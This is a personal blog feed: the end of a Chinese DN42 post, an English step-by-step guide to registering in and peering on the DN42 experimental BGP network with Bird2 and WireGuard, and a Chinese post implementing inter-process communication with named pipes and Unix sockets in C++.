自此，我们成功加入了DN42网络。要想让网络更加稳定，我们可以与更多用户进行Peer，建立多条BGP线路以防止其中部分节点瘫痪导致失联。你可以加入DN42非官方tg交流群获取更多信息。

如果出现BGP Established但是无法Ping通DN42内部IP的情况，请检查bird.conf中设置的IP和dummy网卡分配的IP或WireGuard中的本地IP是否相同。

配置DNS

DN42内有自己的公共DNS，泛播地址为172.20.0.53，并且也能解析正常互联网的域名。要想能够访问以dn42结尾的内部域名，需要将这个地址放到resolv.conf最上面：

nameserver 172.20.0.53
nameserver 223.5.5.5 #下面是正常的DNS服务器配置

之后就可以解析DN42内部域名啦，同时ping、traceroute、mtr等命令查询内部IP时也能显示出来rDNS的解析结果。

欢迎与我建立对等连接！详情请查看：iYoRoy DN42 Network

参考文章：

https://blog.baoshuo.ren/post/dn42-network/
https://dn42.dev/howto/Bird2#example-configuration
https://dn42.eu/howto/wireguard
https://blog.udon.eu.org/archives/dbf21067.html
https://blog.byteloid.one/2025/06/02/babeld-over-wireguard/
https://blog.wcysite.com/2021/%E8%B8%A9%E5%9D%91DN42-p2-peer/
https://blog.chs.pub/p/23-14-joindn42/
https://www.cnblogs.com/FengZeng666/p/15583434.html

DN42 - Ep.1 Joining the DN42 Network

Sat, 28 Jun 2025 13:19:00 GMT

Foreword

Welcome to peer with me! For details, please visit: iYoRoy DN42 Network

I wanted to study BGP, but renting an ASN and IP block is too expensive, and I was afraid of taking down half the internet due to a configuration error. So, I decided to look into DN42, a virtual network. DN42 is a large decentralized network that uses the BGP protocol for routing, making its structure very similar to today's internet. This makes it suitable for learning networking technologies like BGP. In DN42, everyone plays the role of an ISP (Internet Service Provider), peering with other users to join and participate in building the entire DN42 network. DN42 operates on 172.20.0.0/14 and fd00::/8, both of which are private address ranges, so it won't affect the clearnet.

Registration

You need to know basic git commands, GPG, and Linux. It's also best to sign your commits with GPG. If you have basic Git knowledge, you can refer to my commit: Add AS4242422024 · d1f9046ecb - registry - dn42 git

Fork and Clone the DN42 Registry Git Repository

Register a Contact

Create a file named <Nickname>-DN42 under data/person and fill in the following content:

person:             <Nickname>
e-mail:             <Email Address>
pgp-fingerprint:    <GPG Key Fingerprint>
nic-hdl:            <NIC Handle>
mnt-by:             <Maintainer>
source:             DN42

person: Nickname.
e-mail: Email address.
pgp-fingerprint: GPG key fingerprint, used for some authentication services.
nic-hdl: NIC handle, points to the file itself, just use the current filename.
mnt-by: Maintained by, points to the maintainer information from the Register Maintainer section below.
source: Source, keep it as DN42.
www: Optional, your website URL.

Example

data/person/IYOROY-DN42 @ dn42/registry@master

person:             Kagura iYoRoy
e-mail:             i@iyoroy.cn
www:                https://www.iyoroy.cn
pgp-fingerprint:    3ECCFFDEC2CB4CB8DA8089BE9AF2F2E03CE8FD67
nic-hdl:            IYOROY-DN42
mnt-by:             IYOROY-MNT
source:             DN42

Register a Maintainer

Create a file data/mntner/<Nickname>-MNT and fill in the following content:

mntner:             <Nickname>-MNT
admin-c:            <Contact>
tech-c:             <Contact>
auth:               <Authentication Method>
mnt-by:             <Maintainer>
source:             DN42

mntner: Maintainer name, generally the same as the filename.
admin-c: Administrator contact information, points to a file in the person folder, use the filename from the Register Contact section above.
tech-c: Technical contact information, points to a file in the person folder, use the filename from the Register Contact section above.
auth: Authentication method, supports pgp or ssh-key.
mnt-by: Maintained by, generally points to the filename itself.
source: Source, keep it as DN42.

Example

data/mntner/IYOROY-MNT @ dn42/registry@master

mntner:             IYOROY-MNT
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
auth:               pgp-fingerprint 3ECCFFDEC2CB4CB8DA8089BE9AF2F2E03CE8FD67
mnt-by:             IYOROY-MNT
source:             DN42

Register an ASN

On the clearnet, 4200000000 - 4294967294 is the reserved range for ASNs. DN42 uses 4242420000 - 4242429999, and currently, 4242420000 - 4242423999 is open for registration.The official recommendation is not to manually find an available ASN but to use Burble's DN42 Free ASN Explorer to select an available ASN for registration.
After choosing your desired ASN, create a file <ASN, including AS letters> in data/aut-num and fill in the following content:

aut-num:            <ASN>
as-name:            <Autonomous System Name>
descr:              <Autonomous System Description>
admin-c:            <Administrator NIC Handle>
tech-c:             <Technical Contact NIC Handle>
mnt-by:             <Maintainer>
source:             DN42

aut-num: Your chosen ASN, including the AS prefix. It should be in the format AS424242xxxx.
as-name: Autonomous System Name.
descr: Autonomous System Description, can contain spaces.
admin-c: Administrator contact information, points to a file in the person folder, use the filename from the Register Contact section above.
tech-c: Technical contact information, points to a file in the person folder, use the filename from the Register Contact section above.
mnt-by: Maintained by, points to the filename from the Create Maintainer section above.
source: Source, keep it as DN42.

示例

data/aut-num/AS4242422024 @ dn42/registry@master

aut-num:            AS4242422024
as-name:            IYOROYNET-AS-DN42
descr:              iYoRoy DN42 Network
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
source:             DN42

Register an IPv4 Block and Add Route

You can skip this section if you don't want to register IPv4 The official provides a tool for finding available address blocks: DN42 Free IPv4 Explorer. It is also not recommended to manually specify but to use the available blocks found through the search tool. DN42 also faces IPv4 address shortages, so please register according to your needs. Generally, a /27 block containing 30 usable IPv4 addresses is sufficient. For smaller networks, you can apply for /28 (14 usable addresses) and /29 (6 usable addresses). The largest block that can be directly applied for is /26, which is 62 addresses. Applying for /25, /24 requires submitting an application and waiting for review. For details, refer to: DN42 Experimental Network: Intro and Registration (Updated 2022-12) - Lan Tian @ Blog

After selecting your IPv4 block, create a file in data/inetnum named after the CIDR format of the IPv4 block, using _ instead of / (e.g., if the applied IPv4 block is 172.20.234.224/28, the filename is 172.20.234.224_28), and fill in the content:

inetnum:            <First IPv4 Address in Block> - <Last IPv4 Address in Block>
cidr:               <IPv4 Block in CIDR Format>
netname:            <IPv4 Block Name>
descr:              <IPv4 Block Description>
country:            <Country Code for IPv4 Block>
admin-c:            <Administrator NIC Handle>
tech-c:             <Technical Contact NIC Handle>
mnt-by:             <Maintainer>
status:             ASSIGNED
source:             DN42

inetnum: IPv4 address range, from the first address to the last address, connected with -.
cidr: IPv4 block in CIDR format, do not replace / with _.
netname: IPv4 block name, fill in as desired, no special requirements.
descr: IPv4 block description, can contain spaces.
country: Two-character country code from ISO 3166, for China, fill in CN.
admin-c: Administrator contact information, points to a file in the person folder, use the filename from the Register Contact section above.
tech-c: Technical contact information, points to a file in the person folder, use the filename from the Register Contact section above.
mnt-by: Maintained by, points to the filename from the Create Maintainer section above.
status: Status, keep it as ASSIGNED.
source: Source, keep it as DN42.

Example

data/inetnum/172.20.234.224_28 @ dn42/registry@master

inetnum:            172.20.234.224 - 172.20.234.239
cidr:               172.20.234.224/28
netname:            IYOROYNET-DN42-V4
descr:              iYoRoy DN42 Network IPv4 Block
country:            CN
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
status:             ASSIGNED
source:             DN42

Next, under data/route, create a file also named after the IPv4 block's CIDR format, using _ instead of /, and fill in the content:

route:              <IPv4 Block in CIDR Format>
origin:             <ASN>
max-length:         <IPv4 Prefix Length>
mnt-by:             <Maintainer>
source:             DN42

route: IPv4 block, fill in CIDR format, do not convert /.
origin: ASN, needs to include AS prefix.
max-lenth: Prefix Length, i.e., the number after / in the CIDR format.
mnt-by: Maintained by, points to the filename from the Create Maintainer section above.
source: Source, keep it as DN42.

Example

data/route/172.20.234.224_28 @ dn42/registry@master

route:              172.20.234.224/28
origin:             AS4242422024
max-length:         28
mnt-by:             IYOROY-MNT
source:             DN42

Register an IPv6 Block and Add Route

You can skip this section if you don't want to register IPv6 Similarly, use the official tool to find available IPv6: DN42 Free IPv6 Explorer 。 After selecting the address block, create a file under data/inet6num named after the IPv6 block's CIDR format, using _ instead of / (e.g., if the IPv6 block is fd18:3e15:61d0::/48, the filename is fd18:3e15:61d0::_48), and fill in the content:

inet6num:           <First IPv6 Address in Block> - <Last IPv6 Address in Block>
cidr:               <IPv6 Block in CIDR Format>
netname:            <IPv6 Block Name>
descr:              <IPv6 Block Description>
country:            <Country Code for IPv6 Block>
admin-c:            <Administrator NIC Handle>
tech-c:             <Technical Contact NIC Handle>
mnt-by:             <Maintainer>
status:             ASSIGNED
source:             DN42

inet6num: IPv6 address range, from the first address to the last address, cannot use :: shorthand, connected with -. For example, if my block is fd18:3e15:61d0::/48, I need to fill in fd18:3e15:61d0:0000:0000:0000:0000:0000 - fd18:3e15:61d0:ffff:ffff:ffff:ffff:ffff.
cidr: IPv6 block in CIDR format, do not replace / with _.
netname: IPv6 block name, fill in as desired, no special requirements
descr: IPv6 block description, can contain spaces
country: Two-character country code from ISO 3166, for China, fill in CN.
admin-c: Administrator contact information, points to a file in the person folder, use the filename from the Register Contact section above.
tech-c: Technical contact information, points to a file in the person folder, use the filename from the Register Contact section above.
mnt-by: Maintained by, points to the filename from the Create Maintainer section above.
status: Status, keep it as ASSIGNED.
source: Source, keep it as DN42.

Example

data/inet6num/fd18:3e15:61d0::_48 @ dn42/registry@master

inet6num:           fd18:3e15:61d0:0000:0000:0000:0000:0000 - fd18:3e15:61d0:ffff:ffff:ffff:ffff:ffff
cidr:               fd18:3e15:61d0::/48
netname:            IYOROYNET-DN42-V6
descr:              iYoRoy DN42 Network IPv6 Block
country:            CN
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
status:             ASSIGNED
source:             DN42

Next, under data/route6, create a file also named after the IPv6 block's CIDR format, using _ instead of /, and fill in the content:

route6:             <IPv6 Block in CIDR Format>
origin:             <ASN>
max-length:         <IPv6 Prefix Length>
mnt-by:             <Maintainer>
source:             DN42

route6: IPv6 block, fill in CIDR format, do not convert /.
origin: ASN, needs to include AS prefix.
max-lenth: Prefix Length, i.e., the number after / in the CIDR format.
mnt-by: Maintained by, points to the filename from the Create Maintainer section above.
source: Source, keep it as DN42.

Example

data/route6/fd18:3e15:61d0::_48 @ dn42/registry@master

route6:             fd18:3e15:61d0::/48
origin:             AS4242422024
max-length:         48
mnt-by:             IYOROY-MNT
source:             DN42

Create and Push Commit, Submit PR

It's best to sign your commits with GPG and upload your public key to dn42 git.

After filling in the above information, return to the root directory of the repository and run the script ./fmt-my-stuff <Maintainer> to automatically format the configuration files. Note: Here <Maintainer> is the value of mntner from the Register Maintainer chapter. Then follow the normal git commit process: git add data/, git commit -S -m "<commit-msg>" to create the commit, git push origin master to push. Then, go to the dn42 git web interface, open your forked repository, and submit a Pull Request.
If there are configuration issues, the automated review bot and administrators will inform you. Please patiently modify according to the requirements and merge into the original commit, do not create a new commit. It is recommended to use git commit --amend after git add. After modification, force push directly (git push origin master --force).

The working language of the DN42 Registry is English. Please use English for the entire process to avoid unnecessary trouble.

Configuring Bird

First, install bird. Using Ubuntu 22.04 as an example:

apt install bird2 -y

If you also want to install WireGuard for later use, add the wireguard and wireguard-tools packages:

apt install bird2 wireguard wireguard-tools -y

Create Configuration Files

bird.conf

Modify /etc/bird/bird.conf：

define OWNAS       = <AS Number>;
define OWNIP       = <DN42 IPv4 Address>;
define OWNIPv6     = <DN42 IPv6 Address>;
define OWNNET      = <DN42 IPv4 Block, CIDR Format>;
define OWNNETv6    = <DN42 IPv6 Block, CIDR Format>;
define OWNNETSET   = [ <DN42 IPv4 Block, CIDR Format>+ ];
define OWNNETSETv6 = [ <DN42 IPv6 Block, CIDR Format>+ ];

router id OWNIP;

protocol device {
    scan time 10;
}

function is_self_net() {
    return net ~ OWNNETSET;
}

function is_self_net_v6() {
    return net ~ OWNNETSETv6;
}

function is_valid_network() {
    return net ~ [
        172.20.0.0/14{21,29}, # dn42
        172.20.0.0/24{28,32}, # dn42 Anycast
        172.21.0.0/24{28,32}, # dn42 Anycast
        172.22.0.0/24{28,32}, # dn42 Anycast
        172.23.0.0/24{28,32}, # dn42 Anycast
        172.31.0.0/16+,       # ChaosVPN
        10.100.0.0/14+,       # ChaosVPN
        10.127.0.0/16{16,32}, # neonetwork
        10.0.0.0/8{15,24}     # Freifunk.net
    ];
}

function is_valid_network_v6() {
  return net ~ [
    fd00::/8{44,64} # ULA address space as per RFC 4193
  ];
}

protocol kernel {
    scan time 20;

    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIPv6;
            accept;
        };
    };
};

protocol kernel {
    scan time 20;

    ipv4 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIP;
            accept;
        };
    };
}

protocol static {
    route OWNNET reject;

    ipv4 {
        import all;
        export none;
    };
}

protocol static {
    route OWNNETv6 reject;

    ipv6 {
        import all;
        export none;
    };
}

include "rpki.conf";
include "ebgp.conf";

Here, the OWNIP and OWNIPV6 parameters refer to the DN42 IPv4 and IPv6 addresses assigned to this machine, not the address of the block. For example, if I obtained the address segment 172.20.234.224/28 and assigned 172.20.234.225 to machine A, then OWNIP is 172.20.234.225. The same applies to IPv6.

rpki.conf

You might have seen other tutorials using cron jobs + reloading Bird to update ROAs. Configuring RPKI here is another way to configure ROAs.

Create /etc/bird/rpki.conf and fill in the following content:

roa4 table dn42_roa;
roa6 table dn42_roa_v6;

protocol rpki dn42_rpki_akix {
    roa4 { table dn42_roa; };
    roa6 { table dn42_roa_v6; };
    remote "<rpki server address>" port 8082; # change it
    refresh 30;
    retry 5;
    expire 600;
}

For the RPKI server, you can use the service provided by my friend's AkaereIX: rpki.akae.re.

Example

roa4 table dn42_roa;
roa6 table dn42_roa_v6;

protocol rpki dn42_rpki_akix {
    roa4 { table dn42_roa; };
    roa6 { table dn42_roa_v6; };
    remote "rpki.akae.re" port 8082;
    refresh 30;
    retry 5;
    expire 600;
}

ebgp.conf

Create /etc/bird/ebgp.conf and fill in the following content:

template bgp dnpeers {
    local as OWNAS;
    path metric 1;

    ipv4 {
        import filter {
            if is_valid_network() && !is_self_net() then {
                if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then {
                    print "[dn42] ROA check failed for ", net, " ASN ", bgp_path.last;
                    reject;
                }
                accept;
            }
            reject;
        };

        export filter {
            if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
        import limit 1000 action block;
    };

    ipv6 {
        import filter {
            if is_valid_network_v6() && !is_self_net_v6() then {
                if (roa_check(dn42_roa_v6, net, bgp_path.last) != ROA_VALID) then {
                    print "[dn42] ROA check failed for ", net, " ASN ", bgp_path.last;
                    reject;
                }
                accept;
            }
            reject;
        };
        export filter {
            if is_valid_network_v6() && source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
        import limit 1000 action block;
    };
}


include "peers/*";

This configuration defines a template for peering within DN42 and references all configuration files under /etc/bird/peers. Later, when we peer, we only need to create configuration files here according to the template and write them.

Create the /etc/bird/peers folder for subsequent peering.

System Configuration

Kernel

Because each node may act as a router for other nodes, Linux kernel packet forwarding needs to be enabled. Also, because WireGuard is used, which doesn't forward through physical network cards, the rp_filter strict mode needs to be disabled.

echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
echo "net.ipv6.conf.default.forwarding=1" >> /etc/sysctl.conf
echo "net.ipv6.conf.all.forwarding=1" >> /etc/sysctl.conf
echo "net.ipv4.conf.default.rp_filter=0" >> /etc/sysctl.conf
echo "net.ipv4.conf.all.rp_filter=0" >> /etc/sysctl.conf
sysctl -p

DN42 Virtual Network Interface

Because MP-BGP typically uses LLA addresses to establish BGP sessions, we need to set up a dummy network interface in the system and bind the DN42 IP we assigned to this machine. Run the following commands:

ip link add dn42 type dummy
ip addr add <DN42 IPv4 assigned to this machine> dev dn42
ip addr add <DN42 IPv6 assigned to this machine> dev dn42

If persistent configuration is needed, you can refer to the following three methods:

systemd-networkd

tee /etc/systemd/network/10-dn42.netdev > /dev/null <<EOF
[NetDev]
Name=dn42
Kind=dummy
EOF

tee /etc/systemd/network/20-dn42.network > /dev/null <<EOF
[Match]
Name=dn42

[Network]
Address=<DN42 IPv4 assigned to this machine>/32
Address=<DN42 IPv6 assigned to this machine>/128
EOF

systemctl enable systemd-networkd
systemctl restart systemd-networkd

netplan

tee /etc/netplan/99-dn42.yaml > /dev/null <<EOF
network:
  version: 2
  renderer: networkd
  ethernets:
    dn42:
      match:
        name: dn42
      addresses:
        - <DN42 IPv4 assigned to this machine>/32
        - "<DN42 IPv6 assigned to this machine>/128"
      accept-ra: no
EOF

netplan apply

/etc/network/interfaces

tee -a /etc/network/interfaces > /dev/null <<EOF
auto dn42
iface dn42 inet static
    address <DN42 IPv4 assigned to this machine>
    netmask 255.255.255.255

iface dn42 inet6 static
    address <DN42 IPv6 assigned to this machine>/128
EOF

ifup dn42

Peering with Other Members

A user-friendly option for beginners is Potat0's self-service peering service. For details, refer to his DN42 Network page. Follow the instructions to find his Automatic Peering Bot, register your account with the bot by providing your DN42 ASN, the email recorded in the Maintainer during registration above (this is why it's best to fill in the email during registration, as many verification services use it), and receive the verification code with that email. Then, follow the bot's requirements to establish the peer.

Install WireGuard

apt install wireguard wireguard-tools -y

Note: Modern package managers usually automatically install wireguard-tools when installing wireguard to use the wg-quick command.

Generate Key Pair

wg genkey | tee privatekey | wg pubkey > publickey

Note down the contents of privatekey and publickey, representing the private and public keys respectively.

Establishing a Peer

Generally, there are two modes for establishing a peer: using MP-BGP (Multiprotocol BGP) and not using MP-BGP. Personally, I find MP-BGP more common because its configuration is relatively simple. The configurations are slightly different, so please refer according to your needs.

Using MP-BGP

Exchanging Information with the Peer

You need to provide the other party with the following information, and you also need to know the other party's corresponding information:

Public Key
Public IP Address (non-DN42 address)
Public WireGuard Port, usually listening on the last 5 digits of the other party's ASN
DN42 ASN
LLA (Link-Local Address), generally fe80::<last 4 digits of peer's ASN>
Whether ENH (Extended Next Hop) is supported. Note: If using v6 to exchange routes without enabling ENH, v4 routes cannot be exchanged.

Sometimes the public IP address and public WG port are combined and called the Endpoint.

Configuring WireGuard

Create a configuration file under /etc/wireguard. The name is arbitrary, but my naming convention is dn42-<last 4 digits of peer's ASN>.conf, where dn42-xxxx is the tunnel name. Fill the file with the following content:

[Interface]
PrivateKey = <Private key generated in the "Generate Key Pair" section above>
ListenPort = <Public WireGuard Listen Port>
Table = off
Address = <Your LLA Address>/64
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = <Peer's Public Key>
Endpoint = <Peer's Endpoint, i.e., IP:Port>
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8

After editing and saving, run:

wg-quick up <Tunnel Name>

This will start the WG tunnel. Use wg show <Tunnel Name> to check the connection status. Running wg directly shows the status of all tunnels.

If you want the tunnel to start automatically on boot, run:

systemctl enable wg-quick@<Tunnel Name>

Configuring the Bird2 Peer Section

Create a new file <Name>.conf under /etc/bird/peers and fill in the following content:

protocol bgp <BGP Session Name> from dnpeers{
    neighbor <Peer's LLA Address> % '<WireGuard Tunnel Name>' as <Peer's ASN, without AS prefix>;
};

If Extended Next Hop is used (as negotiated during information exchange above), configure:

protocol bgp <BGP Session Name> from dnpeers{
    neighbor <Peer's LLA Address> % '<WireGuard Tunnel Name>' as <Peer's ASN, without AS prefix>;
    ipv4{
        extended next hop;
    };
};

Applying Configuration

Run birdc configure (or birdc c, equivalent) to reload the Bird configuration, then run birdc show protocols (or birdc s p, equivalent) to view the currently established BGP connections.

root@hkg2-202501092021514df2f0:~# birdc show protocols
BIRD 2.0.12 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     07:24:14.255  
static1    Static     dn42_roa   up     07:24:14.255  
static2    Static     dn42_roa_v6 up     07:24:14.255  
kernel1    Kernel     master6    up     07:24:14.255  
kernel2    Kernel     master4    up     07:24:14.255  
static3    Static     master4    up     07:24:14.255  
static4    Static     master6    up     07:24:14.255  
dn42-0298  BGP        ---        up     08:03:13.347  Established   
dn42-1816  BGP        ---        up     07:53:05.028  Established

Not Using MP-BGP

Exchanging Information with the Peer

You need to provide the other party with the following information, and you also need to know the other party's corresponding information:

Public Key
Public IP Address (non-DN42 address)
Public WireGuard Port, usually listening on the last 5 digits of the other party's ASN
DN42 ASN
DN42 IP, if exchanging IPv4 routes, an IPv4 address is needed; if exchanging IPv6 routes, an IPv6 address is needed.

Sometimes the public IP address and public WG port are combined and called the Endpoint.

Configuring WireGuard

[Interface]
PrivateKey = <Private key generated in the "Generate Key Pair" section above>
ListenPort = <Public WireGuard Listen Port>
Table = off
PostUp = ip addr add <LLA>/64 dev %i
PostUp = ip addr add <Local DN42 IPv6> dev %i
PostUp = ip addr add <Local DN42 IPv4> peer <Peer's DN42 IPv4> dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = <Peer's Public Key>
Endpoint = <Peer's Endpoint, i.e., IP:Port>
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8

After editing and saving, run:

wg-quick up <Tunnel Name>

This will start the WG tunnel. Use wg show <Tunnel Name> to check the connection status. Running wg directly shows the status of all tunnels.

If you want the tunnel to start automatically on boot, run:

systemctl enable wg-quick@<Tunnel Name>

Configuring the Bird2 Peer Section

Create a new file <Name>.conf under /etc/bird/peers and fill in the following content:

protocol bgp <v4 BGP Session Name> from dnpeers{
    neighbor <Peer's DN42 IPv4 Address> as <Peer's ASN, without AS prefix>;
    direct;
    ipv6{
        import none;
        export none;
    };
};

protocol bgp <v6 BGP Session Name> from dnpeers{
    neighbor <Peer's DN42 IPv6 Address> % '<WireGuard Tunnel Name>' as <Peer's ASN, without AS prefix>;
    direct;
    ipv4{
        import none;
        export none;
    };
};

Applying Configuration

Run birdc configure (or birdc c, equivalent) to reload the Bird configuration, then run birdc show protocols (or birdc s p, equivalent) to view the currently established BGP connections.

At this point, we have successfully joined the DN42 network. To make the network more stable, we can peer with more users, establishing multiple BGP lines to prevent disconnection if some nodes fail. You can join the DN42 Unofficial Telegram Group for more information.

If BGP is Established but you cannot Ping internal DN42 IPs, check if the IP set in bird.conf matches the IP assigned to the dummy interface or the local IP in WireGuard.

Configuring DNS

DN42 has its own public DNS with the anycast address 172.20.0.53, which can also resolve normal internet domains. To access internal domains ending with .dn42, you need to put this address at the top of resolv.conf:

nameserver 172.20.0.53
nameserver 223.5.5.5 # Below are normal DNS server configurations

After this, you can resolve DN42 internal domain names. Also, commands like ping, traceroute, and mtr will show rDNS resolution results when querying internal IPs.

Welcome to peer with me! For details, please visit: iYoRoy DN42 Network

References:

https://blog.baoshuo.ren/post/dn42-network/
https://dn42.dev/howto/Bird2#example-configuration
https://dn42.eu/howto/wireguard
https://blog.udon.eu.org/archives/dbf21067.html
https://blog.byteloid.one/2025/06/02/babeld-over-wireguard/
https://blog.wcysite.com/2021/%E8%B8%A9%E5%9D%91DN42-p2-peer/
https://blog.chs.pub/p/23-14-joindn42/
https://www.cnblogs.com/FengZeng666/p/15583434.html

跨平台服务编写日记 Ep.2 进程间通讯（IPC）

Mon, 19 May 2025 03:54:00 GMT

前情提要

上一篇文章实现了统一的日志管理，这篇文章来实现进程间消息通讯，即IPC。

分析

Windows

在Windows下，主要通过管道（Pipe）实现进程间通讯。管道又分为命名管道（Named Pipe）和匿名管道（Anonymous Pipe）。其中，匿名管道是单向的，通常在父进程和子进程之间通讯[2]。而命名管道则可以是单向管道或双工管道，并且支持一对多通讯[3]。顾名思义，识别命名管道的唯一方式是它的名称，因此两个进程只要都连接到同一个名字的命名管道即可实现通信。
我们需要实现进程间的双向通讯，因此采用命名管道。大致思路就是：进程作为伺服模式，也就是接收端启动时创建一个线程，创建一个命名管道并监听管道内消息。当管道被连接时从中读取管道内数据；当进程作为发送端启动时尝试连接到同一个名称的管道，并写入消息内容。

Linux

在Linux下通常使用socket进行进程间通讯。不过不同于监听端口，进程间通讯一般会选择监听一个sock文件[5]，常见的服务类应用如docker daemon、mysql都是通过这种方式。
因此，大致思路如下：作为伺服模式启动的进程创建一个socket监听，并等待从中接收消息；发送端连接到socket套接字并发送消息。和上文命名管道的名称类似，socket套接字会映射一个唯一的.sock文件，发送方只要打开这个文件即可发送消息。（实际上打开方式不是常规的打开文件，而是用socket专用的打开方式[5]）

代码实现

初始化

为了实现共用一套主代码，我使用了和上一篇文章中一样的通过宏定义区分系统类型的方案，将Windows和Linux的代码分别写在service-windows.h和service-linux.h两个头文件中：

#ifdef _WIN32
#include "service-windows.h"
#elif defined(__linux__)
#include "service-linux.h"
#endif

当接收端进程启动时，创建一个线程处理收信息（使用std::thread作为多线程库）：

thread_bind = std::thread(bind_thread_main);

监听部分

Windows

在Windows下，只要尝试从指定名称的命名管道读取数据即可。其中，因为设置了管道为等待模式（即下文中CreateNamedPipe的第三个参数DWORD dwPipeMode中设置了PIPE_WAIT），ConnectNamedPipe会是阻塞模式，因此不用担心不断循环造成的性能损失。

void bind_thread_main() {
    while (!exit_requested.load()) {
        HANDLE hPipe = CreateNamedPipe(
            PIPE_NAME,
            PIPE_ACCESS_DUPLEX,
            PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
            PIPE_UNLIMITED_INSTANCES,
            1024,  // Output buffer size
            1024,  // Input buffer size
            0,     // Default timeout
            NULL);

        if (hPipe == INVALID_HANDLE_VALUE) {
            service_log.push(LEVEL_WARN, "Failed to create pipe: %d", GetLastError());
            continue;
        }

        if (ConnectNamedPipe(hPipe, NULL) ||
            GetLastError() == ERROR_PIPE_CONNECTED) {

            char buffer[1024];
            DWORD bytesRead;

            if (ReadFile(hPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) {
                buffer[bytesRead] = '\0';
                m_queueMsg.push(buffer);
                service_log.push(LEVEL_VERBOSE, "Message received: %s", buffer);
            }

            FlushFileBuffers(hPipe);
            DisconnectNamedPipe(hPipe);
            CloseHandle(hPipe);
        }
        else {
            CloseHandle(hPipe);
        }
    }
}

Linux

为了防止创建失败，在创建前会先尝试删除没有清理干净的sock文件，即代码中unlink(SOCKET_PATH)。SOCKET_PATH为全局变量，定义了套接字文件的路径。创建套接字时，指定family为AF_UNIX代表创建UNIX套接字，即.sock文件的这种类型（如果是网络套接字就是AF_INET）。timeval这段代码设置了一个超时限制，当accept函数等待时间超过设置的SOCKET_TIMEOUT超时时间（单位秒）后会自动结束阻塞并返回错误信息。创建完套接字后按照正常流程设置绑定和监听即可。

void bind_thread_main() {
    unlink(SOCKET_PATH);

    int server_fd = socket(AF_UNIX, SOCK_STREAM, 0);
    if (server_fd == -1) {
        service_log.push(LEVEL_FATAL, "Failed to create socket");
        exit_requested.store(true);
        return;
    }

    struct timeval tv;
    tv.tv_sec = SOCKET_TIMEOUT;
    tv.tv_usec = 0;
    setsockopt(server_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

    sockaddr_un addr{};
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);

    if (bind(server_fd, (sockaddr*)&addr, sizeof(addr)) == -1) {
        service_log.push(LEVEL_FATAL, "Bind failed");
        close(server_fd);
        exit_requested.store(true);
        return;
    }

    if (listen(server_fd, 5) == -1) {
        service_log.push(LEVEL_FATAL, "Listen failed");
        close(server_fd);
        exit_requested.store(true);
        return;
    }

    while (!exit_requested.load()) {
        int client_fd = accept(server_fd, nullptr, nullptr);
        if (client_fd != -1) {
            char buffer[1024];
            int bytes_read = read(client_fd, buffer, sizeof(buffer) - 1);
            if (bytes_read > 0) {
                buffer[bytes_read] = '\0';
                m_queueMsg.push(buffer);
                service_log.push(LEVEL_VERBOSE, "Message received: %s", buffer);
            }
            close(client_fd);
        }
        else {
            if (errno == EWOULDBLOCK || errno == EAGAIN) {
                continue;
            }
            service_log.push(LEVEL_WARN, "Failed to accept socket connection");
        }
    }
}

当读取到消息后，两份代码都会将消息保存至阻塞队列m_queueMsg中。

发送部分

Windows

打开指定管道并写入消息内容即可：

bool send_message(const std::string& msg) {
    if (!WaitNamedPipe(PIPE_NAME, NMPWAIT_WAIT_FOREVER)) {
        service_log.push(LEVEL_ERROR, "Failed to find valid pipe: %d", GetLastError());
        return false;
    }

    HANDLE hPipe = CreateFile(
        PIPE_NAME,
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        service_log.push(LEVEL_ERROR, "Failed to connect: %d", GetLastError());
        return false;
    }

    DWORD bytesWritten;
    if (WriteFile(hPipe, msg.c_str(), (DWORD)msg.size(), &bytesWritten, NULL)) {
        service_log.push(LEVEL_VERBOSE, "Message sent: %s", msg.c_str());
        CloseHandle(hPipe);
        return true;
    }
    else {
        service_log.push(LEVEL_ERROR, "Message (%s) send failed: %d", msg.c_str(),GetLastError());
        CloseHandle(hPipe);
        return false;
    }

}

Linux

同理，连接套接字，发送数据：

bool send_message(const std::string& msg) {
    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
    if (sock == -1) {
        service_log.push(LEVEL_ERROR, "Failed to create socket");
        return false;
    }

    sockaddr_un addr{};
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);

    if (connect(sock, (sockaddr*)&addr, sizeof(addr)) == -1) {
        service_log.push(LEVEL_ERROR, "Connect failed");
        close(sock);
        return false;
    }

    if (write(sock, msg.c_str(), msg.size()) == -1) {
        service_log.push(LEVEL_ERROR, "Message send failed: %s", msg.c_str());
        close(sock);
        return false;
    }
    else {
        service_log.push(LEVEL_VERBOSE, "Message sent success: %s", msg.c_str());
        close(sock);
        return true;
    }
}

清理

Windows下没什么需要清理的，Linux下删除套接字文件即可：

unlink(SOCKET_PATH);

效果示意图

Windows

Linux

样例代码下载： IPCTest.zip

参考文章：

https://learn.microsoft.com/zh-cn/windows/win32/ipc/pipes
